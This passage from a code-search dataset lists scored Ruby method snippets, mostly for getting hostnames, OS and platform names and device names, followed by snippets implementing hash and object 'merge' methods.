os_name.inner_text\n end\n end", "title": "" }, { "docid": "53681e9228faa79538f4a117f40c394a", "score": "0.6256738", "text": "def current_company_name\n begin\n Client.find(current_subdomain).webname\n rescue\n \"\"\n end\n end", "title": "" }, { "docid": "881b46c2516607a71e64accb7d5ffab2", "score": "0.62467057", "text": "def ssh_hostname\n name = \"\"\n Net::SSH.start(@ip, \"pipeline\") do |ssh|\n name = ssh.exec! \"hostname -s\"\n end\n name.downcase.chomp\n end", "title": "" }, { "docid": "b847876ac1eb5e484fc44b9486b6c68e", "score": "0.62371504", "text": "def clean_name\n global? ? registry.hostname : name\n end", "title": "" }, { "docid": "b847876ac1eb5e484fc44b9486b6c68e", "score": "0.62371504", "text": "def clean_name\n global? ? registry.hostname : name\n end", "title": "" }, { "docid": "308f8c350be46d49920a6584624027e0", "score": "0.61953557", "text": "def name\n system_name\n end", "title": "" }, { "docid": "cd08f170ecb0771143ca3a9586810fe5", "score": "0.61945367", "text": "def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.delete(\"\\n\")\n end", "title": "" }, { "docid": "36c9c398b3b6331484120ea6475f48c6", "score": "0.6189052", "text": "def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.chomp\n end", "title": "" }, { "docid": "beb88672e28dd6ea1456394bac58a853", "score": "0.61878884", "text": "def hostname\n if resolution = CloudModel::AddressResolution.where(ip: ip).first\n resolution.name\n else\n begin\n Resolv.getname(ip)\n rescue\n ip\n end\n end\n end", "title": "" }, { "docid": "fb1b6d528ee6731756e2bf4403d317be", "score": "0.6177126", "text": "def hostname()\n unless @host.is_str?\n @host = ENV['HOSTNAME']\n @host = `/bin/hostname` unless @host.is_str?\n raise \"Failed to determine current HOSTNAME\" unless @host.is_str?\n\n @host = @host.downcase.sub(/\\..*$/, '').strip\n raise \"Failed to determine current HOSTNAME\" unless @host.is_str?\n end\n @host = @host.to_sym\n end", "title": "" }, { "docid": "5ad4d0c262c633d2a302358f523d38e3", "score": "0.61600417", "text": "def get_os_name\n\t\t\t\treturn SystemDetector.get_os_name\n\t\t\tend", "title": "" }, { "docid": "0383b62a09f8f5077b8b3eeb8817903f", "score": "0.61321414", "text": "def hostname\n return 'unknown' unless available?\n @hostname ||= ssh_cmd('hostname').chomp\n end", "title": "" }, { "docid": "ee175ce75ca100ecbc571ecf493455e4", "score": "0.6130873", "text": "def name\n @_name ||= (@config[:supervisor_name_override] || \"#{@config[:root_name]}-#{`hostname`.chomp}\").gsub(/[^a-zA-Z0-9\\-\\_]/, ' ').gsub(/\\s+/, '-').downcase\n end", "title": "" }, { "docid": "38caf00ce19fcf3c21be8b79e6855137", "score": "0.6130412", "text": "def describePlatform\n TC.name.gsub(' ', '_')\nend", "title": "" }, { "docid": "a275d71eb70e3e349ca6857e0ce843f9", "score": "0.61275226", "text": "def build_host_name\n if @build_host_template_name.nil?\n validate_platform\n @build_host_template_name = @platform.vmpooler_template\n end\n\n @build_host_template_name\n end", "title": "" }, { "docid": "3b09579ef43a12b85a6cd6bf95fd762d", "score": "0.6121631", "text": "def hostname\n FFI::Libvirt.virConnectGetHostname(pointer)\n end", "title": "" }, { "docid": "b0897ad4eee324f6f4642f04dce3f0e4", "score": "0.61179626", "text": "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "title": "" }, { "docid": "0ce5ff6011a34499db9e24bc18cee77c", "score": "0.6116166", "text": "def cloud_service_instance_name\n return @cloud_service_instance_name\n end", "title": "" }, { "docid": "417228863bed2e597638bd7e6305c1bb", "score": "0.6070943", "text": "def ServerName()\r\n ret = _getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "b7291e7c9187dcf40b66c5f34b4ca3f7", "score": "0.60526496", "text": "def platform_name\n capabilities['platformName']\n end", "title": "" }, { "docid": "95e8c66bc611211dc0d3ae41e8505bb1", "score": "0.6038048", "text": "def default_name\n debug(\"Instance name: #{instance.name}\")\n \"#{instance.platform.name}-#{Time.now.to_i}\"\n end", "title": "" }, { "docid": "28a3a474f678d7c4fb3906d74d60a8ab", "score": "0.6034767", "text": "def define_machine_name(config, name)\n config.vm.provider \"virtualbox\" do |v|\n v.name = name\n end\nend", "title": "" }, { "docid": "d8c0b917e60ac13dc1b2c609a4d552e2", "score": "0.6033873", "text": "def site_name\r\n site.name rescue nil\r\n end", "title": "" }, { "docid": "c8dac53288c1c677fb4dbefb79289a03", "score": "0.6032529", "text": "def hostname\n ssh.exec!(\"hostname\").chomp\n end", "title": "" }, { "docid": "c809578127549b7ccb0c41ee3ab7bd78", "score": "0.60306114", "text": "def platform_shortname\n if platform_family == 'rhel'\n 'el'\n else\n platform\n end\n end", "title": "" }, { "docid": "b52ca0f1ef8c3341734d3890cc81d2ae", "score": "0.602366", "text": "def vagrant_vm_name(name)\n return \"vagrant-#{name}-#{ENV['USER']}\"\nend", "title": "" }, { "docid": "24281f03866f6eb0d5ac0da0e47dc43a", "score": "0.6016631", "text": "def determine_name\n name = nil\n\n case @type\n when :computer\n name = `sudo dmidecode -s system-serial-number`.chomp\n when :hard_drive\n `sudo smartctl -i #{@options['device']}`.each_line do |line|\n line =~ /^Serial\\sNumber:\\s+([A-Za-z0-9_-]+)$/\n name = $1\n end\n end\n\n # Check if the id is valid (all word characters plus dash)\n if ( name =~ /^[A-Za-z0-9_-]+$/ )\n name\n else\n nil\n end\n end", "title": "" }, { "docid": "a8a9ed33c65014da9ebe06e7db9f0cb9", "score": "0.6010565", "text": "def default_name\n [\n instance.name.gsub(/\\W/, '')[0..14],\n (Etc.getlogin || 'nologin').gsub(/\\W/, '')[0..14],\n Socket.gethostname.gsub(/\\W/, '')[0..22],\n Array.new(7) { rand(36).to_s(36) }.join\n ].join('-')\n end", "title": "" }, { "docid": "ce163b65562a1d764509580d58338ced", "score": "0.60099566", "text": "def platform\n self.class.name.split(\"::\").last.gsub(/(?<=[^A-Z])[A-Z]+/, \"-\\\\0\").downcase\n end", "title": "" }, { "docid": "9a3407baa23bf1577984aad160424795", "score": "0.60043514", "text": "def system_name\n self.login\n end", "title": "" }, { "docid": "63af2fcde4ccdcc397eb3026a55efe15", "score": "0.5991269", "text": "def system_name\n self.name\n end", "title": "" }, { "docid": "d8633bc8d321fd440099c75703c17d5c", "score": "0.5987224", "text": "def find_least_used_compatible_host(_pool_name, _vm_name)\n #for v1 virtualbox support this is all local so the hostname will always be localhost\n return 'localhost'\n end", "title": "" }, { "docid": "be3d531a352b242d82666ed3a308830b", "score": "0.5983555", "text": "def platform_name()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunMetadata_platform_name(@handle.ptr)\n result\n end", "title": "" }, { "docid": "3b7551905ac40a4aadb417968fe33ea1", "score": "0.5977239", "text": "def name\n @config.db_name.gsub(/@thismachinehostname@/, Socket.gethostname).\n gsub(/@prefix@/, prefix)\n end", "title": "" }, { "docid": "0d6891bb4cdd01f871d4d6db461f33ba", "score": "0.5965878", "text": "def get_uname\n `uname -a`\n end", "title": "" }, { "docid": "30c10bb31d9bef4f43956706ca4b380e", "score": "0.596345", "text": "def hostname\n Resolv.getname(ip_address) rescue nil\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.5961568", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "bfe1f0e1731a52951955d8d4e2c49ca1", "score": "0.5961568", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "cacad1a61b728fa4792d1d2df4d6fd1a", "score": "0.5951886", "text": "def migratevm_host\n begin\n vm.runtime.host.name\n rescue Exception => e\n fail e.message\n end\n\n end", "title": "" }, { "docid": "13d1f55a18c243bd0f047334b21f804a", "score": "0.59436744", "text": "def ServerName()\r\n ret = @dispatch._getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "6d520d1560f8903fc36bb8dd386e24ed", "score": "0.59427917", "text": "def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end", "title": "" }, { "docid": "2d55d26bd33a4a0ffd10672bb479bfb8", "score": "0.59408164", "text": "def name\n @name ||= \"ec2-net-utils-kitchen-#{instance.id}-eth1\"\n end", "title": "" }, { "docid": "71c9c5393314a177494b77ee99ba08ea", "score": "0.5939981", "text": "def uname\n `uname -a`\n end", "title": "" }, { "docid": "ebc8d2b64427eca3bdb5973b8ab9d2e6", "score": "0.5936722", "text": "def display_name\n # This display name is different from others.\n # We'll display the station id here, not the regional office,\n # since we don't connect to VACOLS.\n \"#{username} (#{station_id})\"\n end", "title": "" }, { "docid": "b9149a5036484a1757174d54f653dc8f", "score": "0.59254944", "text": "def os_name # rubocop:disable Lint/DuplicateMethods\n @os_name ||= @name.match(PLATFORM_REGEX)[1]\n end", "title": "" }, { "docid": "bcf46dd157b5d27fb9f680eda3d9e87d", "score": "0.5905888", "text": "def hostnames\n @machines.each_with_index.map do |_, number|\n \"#{::Chef.node.run_state['fragments']['cluster']['name']}-#{number}\"\n end\n end", "title": "" }, { "docid": "1e90c2cee61f0329e65bcd8a3db65435", "score": "0.59031016", "text": "def site_name\n begin\n site_name = @nokogiri.title.split(/#{WebStat::Configure.get[\"regex_to_sprit_title\"]}/, 2).last\n rescue\n site_name = @nokogiri.title\n end\n if site_name.nil?\n \"No Sitename\"\n else\n site_name.strip\n end\n end", "title": "" }, { "docid": "c069af7a3f6e842f6769f36bd8a48fee", "score": "0.59004146", "text": "def hostname\n name + '.localhost'\n end", "title": "" }, { "docid": "333b359a9208045f71bc399c70906e2c", "score": "0.5897619", "text": "def hostnames_for_machine machine\n # Cast any Symbols to Strings\n machine_name = machine.name.to_s\n hostname = machine.config.vm.hostname || machine_name\n\n hostnames = [hostname]\n # If the hostname is a fqdn, add the first component as an alias.\n hostnames << hostname.split('.').first if hostname.index('.')\n # Also add the machine name as an alias.\n hostnames << machine_name unless hostnames.include? machine_name\n\n hostnames\n end", "title": "" }, { "docid": "4188bdc526cfd59703a59176b96cddcf", "score": "0.5890927", "text": "def hostname(node)\n \"#{node.to_s}.smartengine.local\"\nend", "title": "" }, { "docid": "d8a231516a29b68063579a4e9cb4b17b", "score": "0.58893126", "text": "def platform_name\n self.platform ? self.platform.name : NOT_SET\n end", "title": "" }, { "docid": "bcb99003419928998eadefa491f78f76", "score": "0.5872529", "text": "def name_site\n \"#{Site.name}\"\n end", "title": "" }, { "docid": "6a1873a2fee689a1c400772b91e3559a", "score": "0.58621514", "text": "def themed_host_name\n map2tags.compact.join('-')\n end", "title": "" }, { "docid": "98d50e843dfa629e35c686d0a439d39d", "score": "0.58587456", "text": "def hostname\n Socket.gethostname\n end", "title": "" }, { "docid": "00c3fdc1bbc08e6c26a293ba4fda8829", "score": "0.5837959", "text": "def instance_name(suite, platform)\n Instance.name_for(suite, platform)\n end", "title": "" }, { "docid": "441dc95f2b27d6ed910f66f8663eeeef", "score": "0.5828629", "text": "def browser_full_name\n self.send( \"browser_full_name_for_#{self.browser_name}\".to_sym )\n end", "title": "" }, { "docid": "68d8e6af6feb5cacacac14392e675f02", "score": "0.5822312", "text": "def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end", "title": "" }, { "docid": "3d3bec65beb71f2511d077400b3b637c", "score": "0.5815993", "text": "def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end", "title": "" }, { "docid": "8cb1ec0adea9921074a1eb6f1ec3cdf4", "score": "0.5812676", "text": "def cloud_service_name\n return @cloud_service_name\n end", "title": "" }, { "docid": "b085676484ab1733886576f5e69775ab", "score": "0.58103704", "text": "def full_name\n if platform == Gem::Platform::RUBY or platform.nil? then\n \"#{name}-#{version}\".untaint\n else\n \"#{name}-#{version}-#{platform}\".untaint\n end\n end", "title": "" }, { "docid": "3ff8413c65a0b8fc125dc156c8896c53", "score": "0.57995754", "text": "def get_device_certname(host)\n db = ASM::Client::Puppetdb.new\n # querying puppet db to get device certname with host ip\n begin\n fact_hash = db.find_node_by_management_ip(host)\n return fact_hash[\"name\"]\n rescue StandardError\n return false\n end\n end", "title": "" }, { "docid": "960f0623aa5fcb06759c6763eee6afbb", "score": "0.5790646", "text": "def device_display_name\n return @device_display_name\n end", "title": "" }, { "docid": "960f0623aa5fcb06759c6763eee6afbb", "score": "0.5790646", "text": "def device_display_name\n return @device_display_name\n end", "title": "" }, { "docid": "7739df6bd1a9eb7a08d0336710320210", "score": "0.5787994", "text": "def device_name\n return @device_name\n end", "title": "" }, { "docid": "7739df6bd1a9eb7a08d0336710320210", "score": "0.5787994", "text": "def device_name\n return @device_name\n end", "title": "" }, { "docid": "7739df6bd1a9eb7a08d0336710320210", "score": "0.5787994", "text": "def device_name\n return @device_name\n end", "title": "" }, { "docid": "41ef15182a818075118602db40ab7090", "score": "0.57778", "text": "def admin_username\n vm.os_profile.admin_username\n end", "title": "" }, { "docid": "f36e44ae09c5de405240f719be449f44", "score": "0.57678163", "text": "def virtual_name(name = nil)\n if @config and @config['virtual_name'] and\n (!name or name == @config['virtual_name'])\n return @config['virtual_name']\n end\n nil\n end", "title": "" }, { "docid": "d94e980d222498e8c959baaac3d6a029", "score": "0.5763214", "text": "def human_name\n Helpers.underscore(@name)\n end", "title": "" }, { "docid": "e5ab44b90024b2ac5874bebcf75b68f6", "score": "0.5758173", "text": "def client_name\r\n self.name.strip.upcase\r\n end", "title": "" }, { "docid": "1a94c3036a446a52392ba59674579f87", "score": "0.57512635", "text": "def get_storage_account_name(vm)\n storage_account_name=((vm.properties.storage_profile.os_disk.vhd.uri).split(\".\")[0]).split(\"//\")[1]\n OOLog.info(\"storage account to use:\"+storage_account_name)\n storage_account_name\n end", "title": "" }, { "docid": "b77952869564fa81586f0f8c3dada78d", "score": "0.5740851", "text": "def root_device_name\n data[:root_device_name]\n end", "title": "" }, { "docid": "015b14c5d1b25ac589bb5deb8317872f", "score": "0.572222", "text": "def proc_name\n data = read_cpuinfo.match(/model name\\s*:\\s*(.+)/)[1]\n\n return data.strip\n end", "title": "" }, { "docid": "c752190f1342d36f8bf511a848ebdfc9", "score": "0.5719472", "text": "def custom_browser_display_name\n return @custom_browser_display_name\n end", "title": "" }, { "docid": "e50bbba96d52b4c0c9d1c48ffeae5d35", "score": "0.5719175", "text": "def fqdn\n ssh.exec!(\"hostname --fqdn\").chomp\n end", "title": "" }, { "docid": "9cf3f3ccde0d60c2021ccf27770a5827", "score": "0.57003284", "text": "def name(language = nil)\n language ||= Language.current\n vernacular(language).try(:string) || scientific_name\n end", "title": "" }, { "docid": "71fcc22f0dc7318589f9dc7c81ae2564", "score": "0.5699579", "text": "def micro_bosh_stemcell_name\n hypersivor = openstack? ? \"-kvm\" : \"\"\n @micro_bosh_stemcell_name ||= \"micro-bosh-stemcell-#{provider_name}#{hypersivor}-#{known_stable_micro_bosh_stemcell_version}.tgz\"\n end", "title": "" }, { "docid": "49363ba5a84d907cab39102347989df1", "score": "0.5697796", "text": "def hostname\n return @hostname\n end", "title": "" }, { "docid": "ded0f4a520d8c59f714112318b59af3a", "score": "0.56874967", "text": "def sys\n return `uname -n`.chomp\n end", "title": "" }, { "docid": "9469acfad21829da9560cd635d2d666c", "score": "0.5679961", "text": "def osx_name\n return exec('sysctl -n machdep.cpu.brand_string')\n end", "title": "" } ]
96fbcf5d01850847b837e0ee5fa2a34e
Merge two objects with same type
[ { "docid": "87c4b4dafdbb56a03784ed298f25fee9", "score": "0.5724332", "text": "def merge(object_type, public_merge_input, opts = {})\n data, _status_code, _headers = merge_with_http_info(object_type, public_merge_input, opts)\n data\n end", "title": "" } ]
[ { "docid": "b6dce7e7d3fd67f60ef9918bcbdada35", "score": "0.7328217", "text": "def merge(other); end", "title": "" }, { "docid": "0f0bb9bfbdfd75be3042d12941c2d3ff", "score": "0.71096015", "text": "def merge(other)\n self.class[Utils.merge(to_h, other)]\n end", "title": "" }, { "docid": "95f718c6f0885a0f2ea4f00ba7a47a37", "score": "0.6890778", "text": "def merge!(other); end", "title": "" }, { "docid": "0a75a2c837189e2bb2da5a7de9b0b095", "score": "0.6820899", "text": "def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end", "title": "" }, { "docid": "82440a2846d758d994c1b9e54e3b35ce", "score": "0.6738786", "text": "def merge(other)\n self.class.new.tap do |result|\n result.merge!(self)\n result.merge!(other)\n end\n end", "title": "" }, { "docid": "d58414590bd4ab678b2231e6d7f20005", "score": "0.6674949", "text": "def merge(other)\n self.class.new(*structures, other)\n end", "title": "" }, { "docid": "24a96e0d8709f00ac323a99edf162ff1", "score": "0.66688824", "text": "def merge( other )\n self.dup.merge!(other)\n end", "title": "" }, { "docid": "5a1ed72f5386e6409c52960719a97ca5", "score": "0.6515709", "text": "def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend", "title": "" }, { "docid": "affaed447bba9e58516b8287c50185a4", "score": "0.6494595", "text": "def merge( other )\n clone.merge!( other )\n end", "title": "" }, { "docid": "52f93d2f8f45afd856a934a0e4e0801f", "score": "0.6460232", "text": "def merge_inheritance\n relation.itself_only_value = true if other.itself_only_value.present?\n\n if other.cast_records_value.present?\n relation.cast_records_value += other.cast_records_value\n relation.cast_records_value.uniq!\n end\n end", "title": "" }, { "docid": "31905e7a537fa156d564aa40511b9c5a", "score": "0.6416632", "text": "def merge(with); end", "title": "" }, { "docid": "7a971f96efbc1be7fd05cce05227993c", "score": "0.63603556", "text": "def merge!; end", "title": "" }, { "docid": "eeb9fa97cb73892c1134ca8d0b499ce2", "score": "0.6355363", "text": "def merge(...)\n self.clone.merge!(...)\n end", "title": "" }, { "docid": "0c9b49bb44b646fd1f41e8449c312c34", "score": "0.6337738", "text": "def merge(other)\n self.dup.tap do |v|\n v.merge!(other)\n end\n end", "title": "" }, { "docid": "28e509eb2dc86ed3538dd88a16d073fe", "score": "0.63285416", "text": "def merge( other )\n\t\t\tself.dup.merge!( other )\n\t\tend", "title": "" }, { "docid": "3a8ab9c960ebd0d5e7109242dde5a088", "score": "0.63227683", "text": "def merge(other)\n dup.merge!(other)\n end", "title": "" }, { "docid": "2ae4d25d8babb07a73eb322168c4cbb3", "score": "0.6321981", "text": "def merge(other)\n dup.merge!(other)\n end", "title": "" }, { "docid": "e0cb84670205e6e981db86db956cde10", "score": "0.62885535", "text": "def merge_from(other)\n @title = other.title unless other.title.to_s.empty?\n @descriptions[:default] = other.descriptions[:default] unless other.descriptions[:default].to_s.empty?\n @impact = other.impact unless other.impact.nil?\n other.tags.each do |ot|\n tag = @tags.detect { |t| t.key == ot.key }\n tag ? tag.value = ot.value : @tags.push(ot)\n end\n self\n end", "title": "" }, { "docid": "a4f8fc3efa1e69a02356bf6b219a9b78", "score": "0.6267271", "text": "def merge!(another_record)\n new_one = self.dup\n [:last, :first, :sex, :birthday, :age, :address, :phone, :email].each do |key|\n if new_val = another_record.send(key)\n self.send(\"#{key}=\", new_val)\n end\n end\n end", "title": "" }, { "docid": "2c58bf71f40eb157c85bd07f6b4c24f5", "score": "0.6251302", "text": "def merge!(other)\n raise NotImplementedError.new(\"Method 'merge!' not implemented by '#{self.class.name}'\")\n end", "title": "" }, { "docid": "69dcce77138eed64a15de87475d6d5f3", "score": "0.62471837", "text": "def merge(other)\n self.merge_actors(other)\n self.compress_history()\n end", "title": "" }, { "docid": "4ea28863ad85fdaaac012449b441171b", "score": "0.62471354", "text": "def merge(other)\n append(*other)\n end", "title": "" }, { "docid": "6eb5001b0b58e1c8ea5145afe6622e1d", "score": "0.6243485", "text": "def merge!(with); end", "title": "" }, { "docid": "961c97be4114eb93d5082860a333e108", "score": "0.62377596", "text": "def merge!(other)\n update!(other.value)\n end", "title": "" }, { "docid": "70cfa4ab0dfa2dcca80e7ab063c8d982", "score": "0.6226375", "text": "def merge!(other)\n case other\n when Hash\n data = other\n when FileStore\n data = other.to_h\n end\n data.each do |name, value|\n @data[name.to_s] = value \n end\n end", "title": "" }, { "docid": "6595c3f91cfd8d3a73b1c676518bb7c3", "score": "0.6205956", "text": "def merge(other)\n dup.update(other)\n end", "title": "" }, { "docid": "0c9657e463f168cbba70e043f5016d4a", "score": "0.6198891", "text": "def merge lhs, rhs\n if rhs.respond_to?(:empty?) && rhs.empty?\n lhs\n elsif lhs.respond_to?(:merge)\n if rhs.respond_to?(:merge)\n string_keys(lhs).merge(string_keys(rhs))\n else\n rhs\n end\n else\n rhs\n end\n end", "title": "" }, { "docid": "9588c1032a6aeafd14a432dcd6c9835a", "score": "0.6194245", "text": "def merge; end", "title": "" }, { "docid": "3dee46e65c0b70e1f30374bed9ae685a", "score": "0.6178154", "text": "def merge(other)\n merged = dup\n\n merged.members.each do |key|\n merged[key] = other[key] if other[key]\n end\n\n return merged\n end", "title": "" }, { "docid": "181e7b2c1a3278e6d3ee8b8a93d75b33", "score": "0.6172679", "text": "def merge(other)\n attributes = @attributes.merge(other.attributes)\n excluded = @excluded.dup.concat(other.excluded)\n self.class.new(prefix, attributes, excluded)\n end", "title": "" }, { "docid": "e64f7b3f68f9fd42951dfedbdc07068a", "score": "0.61580396", "text": "def merge(other)\n raise \"cannot merge two players that are not equal\" unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :fed, :gender].each do |m|\n self.send(\"#{m}=\", other.send(m)) unless self.send(m)\n end\n end", "title": "" }, { "docid": "8e60ad83b54d295f97d5da0955206886", "score": "0.6154988", "text": "def merge!(other)\n @hash.merge!(other.hash)\n end", "title": "" }, { "docid": "f15066efcea39c5fda4aeb174b6de271", "score": "0.61505616", "text": "def merge(other)\n assert_archive other\n\n data = deep_clone(@data)\n merge_data data, other.as_json, other.uri\n\n self.class.new data\n end", "title": "" }, { "docid": "24b619c02dab1113a8fcb3d383b6fa47", "score": "0.6145779", "text": "def merge other_hash\n self.class.new nested_class, to_h.merge((other_hash if other_hash.is_a? Hash) || other_hash.to_h)\n end", "title": "" }, { "docid": "990b2f42bd6d708d8385053436fa3aa7", "score": "0.6132457", "text": "def merge(other)\n result = self.class.new\n\n # Set all of our instance variables on the new class\n [self, other].each do |obj|\n obj.instance_variables.each do |key|\n # Ignore keys that start with a double underscore. This allows\n # configuration classes to still hold around internal state\n # that isn't propagated.\n if !key.to_s.start_with?(\"@__\")\n result.instance_variable_set(key, obj.instance_variable_get(key))\n end\n end\n end\n\n result\n end", "title": "" }, { "docid": "e5b91950e46478a0fdf9bf6a1d76fba7", "score": "0.6116016", "text": "def coerce(other); end", "title": "" }, { "docid": "f14f013f471d4d829e2ab4c08e73c5de", "score": "0.61103594", "text": "def merge(other)\n m1, t1 = resolved_modifier.downcase, resolved_type.downcase\n m2, t2 = other.resolved_modifier.downcase, other.resolved_type.downcase\n t1 = t2 if t1.empty?\n t2 = t1 if t2.empty?\n if ((m1 == 'not') ^ (m2 == 'not'))\n return if t1 == t2\n type = m1 == 'not' ? t2 : t1\n mod = m1 == 'not' ? m2 : m1\n elsif m1 == 'not' && m2 == 'not'\n # CSS has no way of representing \"neither screen nor print\"\n return unless t1 == t2\n type = t1\n mod = 'not'\n elsif t1 != t2\n return\n else # t1 == t2, neither m1 nor m2 are \"not\"\n type = t1\n mod = m1.empty? ? m2 : m1\n end\n q = Query.new([], [], other.expressions + expressions)\n q.resolved_type = type\n q.resolved_modifier = mod\n return q\n end", "title": "" }, { "docid": "715f96adca0800a7d709aac1a4c88465", "score": "0.6106267", "text": "def merge_data!(other, source: T.unsafe(nil)); end", "title": "" }, { "docid": "96bbc595e62c596f573ac49150d74ace", "score": "0.60952634", "text": "def merge!(other)\n raise Exception::OptionShouldBeRecursive.new(other) unless Utils.recursive?(other)\n\n if other.is_a?(self.class)\n structures.concat(other.structures)\n else\n structures << other\n end\n\n dirty!\n end", "title": "" }, { "docid": "57c1cf4df7ecfa63fb8c7578f9ff1f6d", "score": "0.6093539", "text": "def combine_ins(obj); end", "title": "" }, { "docid": "04150e40fe1f3fe9b78d46512eb2cdb4", "score": "0.60836196", "text": "def merge!(other)\n other = other.dup\n other.each_child do |other_child|\n my_child = get_child?(other_child.name)\n # Directly add if a child with the same name does not already exist.\n # Merge if the other child and my child are nodes.\n # Raise an exception otherwise.\n if not my_child\n add_child(other_child)\n elsif my_child.class == other_child.class\n my_child.merge!(other_child)\n else\n source_details = \"#{other_child} (#{other_child.class.name})\"\n target_details = \"#{my_child} (#{my_child.class.name})\"\n raise ConfigurationError.new(\"Cannot merge incompatible types - Source: #{source_details} - Target: #{target_details}\")\n end\n end\n end", "title": "" }, { "docid": "c52525fdbb54193fa761e8da229d1798", "score": "0.6080262", "text": "def merge!(other)\n\t\tsuper(keys_to_symbols(other))\n\tend", "title": "" }, { "docid": "5089c8178b19374001ee191347a3ff74", "score": "0.6074448", "text": "def merge(other)\n other.inject(self) { |result, entry| result << entry }\n end", "title": "" }, { "docid": "3fd2fd91c7d284f61d0cfbbd045839cd", "score": "0.6068991", "text": "def merge!(other)\n assert_archive other\n clear_caches\n\n merge_data @data, other.as_json, other.uri\n nil\n end", "title": "" }, { "docid": "c59ed18b39d1a89358edf4d5b13a54fa", "score": "0.6061505", "text": "def merge(other)\n other.each { |entry| self << entry }\n self\n end", "title": "" }, { "docid": "fbb4de169159b56cf146e1b25c3acc07", "score": "0.60565454", "text": "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "title": "" }, { "docid": "fbb4de169159b56cf146e1b25c3acc07", "score": "0.60559434", "text": "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "title": "" }, { "docid": "1382920e6983eafdf6a303c6c251fc97", "score": "0.60446894", "text": "def merge(other_hash); end", "title": "" }, { "docid": "f0bb9b55759c0df9303eba14dcff47aa", "score": "0.6043434", "text": "def merge(other)\n\t\tsuper(keys_to_symbols(other))\n\tend", "title": "" }, { "docid": "1c3a144c22e831759c0c538468d6c0bb", "score": "0.6038948", "text": "def merge(*others)\n constraints = ([self]+others).flat_map(&:to_constr)\n return TypeInference.unify(*constraints)\n end", "title": "" }, { "docid": "7873dce622595276114dc1b6381b827f", "score": "0.6019493", "text": "def merge!(source)\n self.class.merge!(source, self)\n end", "title": "" }, { "docid": "7873dce622595276114dc1b6381b827f", "score": "0.6019493", "text": "def merge!(source)\n self.class.merge!(source, self)\n end", "title": "" }, { "docid": "dfb4c979ae9a112d955351918af42cc4", "score": "0.60111773", "text": "def merge_from(obj)\n raise(ArgumentError, \"Incompatible merge types: #{self.class} and #{obj.class}\") unless obj.is_a?(self.class)\n for tag, field in self.class.fields\n next unless obj.value_for_tag?(tag)\n value = obj.value_for_tag(tag)\n merge_field(tag, value, field)\n end\n end", "title": "" }, { "docid": "5b988d654fbec740e97a2801fe9d11ad", "score": "0.6007594", "text": "def merge(other)\n dup << other\n end", "title": "" }, { "docid": "b26d0d0e0a46abf9f4d4e19d65fe5144", "score": "0.60033566", "text": "def merge(other)\n m1, t1 = resolved_modifier.downcase, resolved_type.downcase\n m2, t2 = other.resolved_modifier.downcase, other.resolved_type.downcase\n t1 = t2 if t1.empty?\n t2 = t1 if t2.empty?\n if (m1 == 'not') ^ (m2 == 'not')\n return if t1 == t2\n type = m1 == 'not' ? t2 : t1\n mod = m1 == 'not' ? m2 : m1\n elsif m1 == 'not' && m2 == 'not'\n # CSS has no way of representing \"neither screen nor print\"\n return unless t1 == t2\n type = t1\n mod = 'not'\n elsif t1 != t2\n return\n else # t1 == t2, neither m1 nor m2 are \"not\"\n type = t1\n mod = m1.empty? ? m2 : m1\n end\n Query.new([mod], [type], other.expressions + expressions)\n end", "title": "" }, { "docid": "3fc8a98f81868fb4181026f16c77a907", "score": "0.59930855", "text": "def merge(hash)\n\t\t\t\thash.each { |type, text| self[type] = text }\n\t\t\tend", "title": "" }, { "docid": "3ab0a79437e9ef45f5fa834c9543e22c", "score": "0.59841084", "text": "def shallow_merge(other_hash); end", "title": "" }, { "docid": "df5f916a4d6f48b53bda19947ee50079", "score": "0.5981802", "text": "def merge(other)\n schema(other.keys)\n end", "title": "" }, { "docid": "070d0a27991cbcd17e37bdc92ad57bf0", "score": "0.5981745", "text": "def merge! *others\n others.inject self do |a,b|\n a.set!(**b)\n end\n end", "title": "" }, { "docid": "320a82cceb8df2c7833bfc9499b2a018", "score": "0.597444", "text": "def merge(other, &block)\n dup.merge!(other, 